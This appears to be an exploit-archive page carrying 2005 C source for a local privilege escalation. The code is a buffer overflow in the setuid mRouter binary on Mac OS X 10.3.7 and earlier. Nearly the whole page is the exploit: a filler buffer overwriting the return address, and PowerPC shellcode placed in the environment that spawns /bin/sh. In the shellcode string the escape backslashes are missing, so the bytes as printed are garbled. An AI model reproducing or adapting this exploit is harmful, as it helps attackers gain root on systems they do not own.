[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Mac OS X <= 10.3.7 mRouter Local Privilege Escalation Exploit
# Published : 2005-01-22
# Author : nemo
# Previous Title : /usr/bin/trn Local Exploit (not suid)
# Next Title : fkey <= 0.0.2 Local File Accessibility Exploit


/*
  * fm-iSink.c
  * overflow in mRouter, suid binary used by iSync, on OSX <= 10.3.7
  *
  * written by -( nemo @ felinemenace.org )-
  *
  *                    _,'|             _.-''``-...___..--';)
  *                    /_ '.      __..-' ,      ,--...--'''
  *                   <    .`--'''       `     /'
  *                   `-';'               ;   ; ;
  *              __...--''     ___...--_..'  .;.'
  *          fL (,__....----'''       (,..--''
  *
  * http://pulltheplug.org and http://felinemenace.org.
  *
  * Bug discovered by Braden Thomas. Exploit by nemo.
  *
  * -( need a challenge...? )-
  * -( http://www.pulltheplug.org )-
  */

#include <sys/types.h>
#include <string.h>
#include <unistd.h>

#define VULNPROG 
"/System/Library/SyncServices/SymbianConduit.bundle/Contents/Resources/
mRouter"
#define MAXBUFSIZE 4096

char shellcode[] = // Shellcode by b-r00t, modified by nemo.
"x7cx63x1ax79x40x82xffxfdx39x40x01xc3x38x0axfexf4"
"x44xffxffx02x39x40x01x23x38x0axfexf4x44xffxffx02"
"x60x60x60x60x7cxa5x2ax79x7cx68x02xa6x38x63x01x60"
"x38x63xfexf4x90x61xffxf8x90xa1xffxfcx38x81xffxf8"
"x3bxc0x01x47x38x1exfexf4x44xffxffx02x7cxa3x2bx78"
"x3bxc0x01x0dx38x1exfexf4x44xffxffx02x2fx62x69x6e"
"x2fx73x68";

char filler[MAXBUFSIZE];

int main(int ac, char **av)
{
unsigned int ret  = 0xbffffffa -  strlen(shellcode);
         char *args[] = { VULNPROG, "-v", "-a", filler, NULL };
char *env[]  = { "TERM=xterm", shellcode, NULL };

         memset(filler,(char)'A',sizeof(filler));
         memcpy(filler+MAXBUFSIZE-5,&ret,4);

execve(*args, args,env);

         return 0;
}

// www.Syue.com [2005-01-22]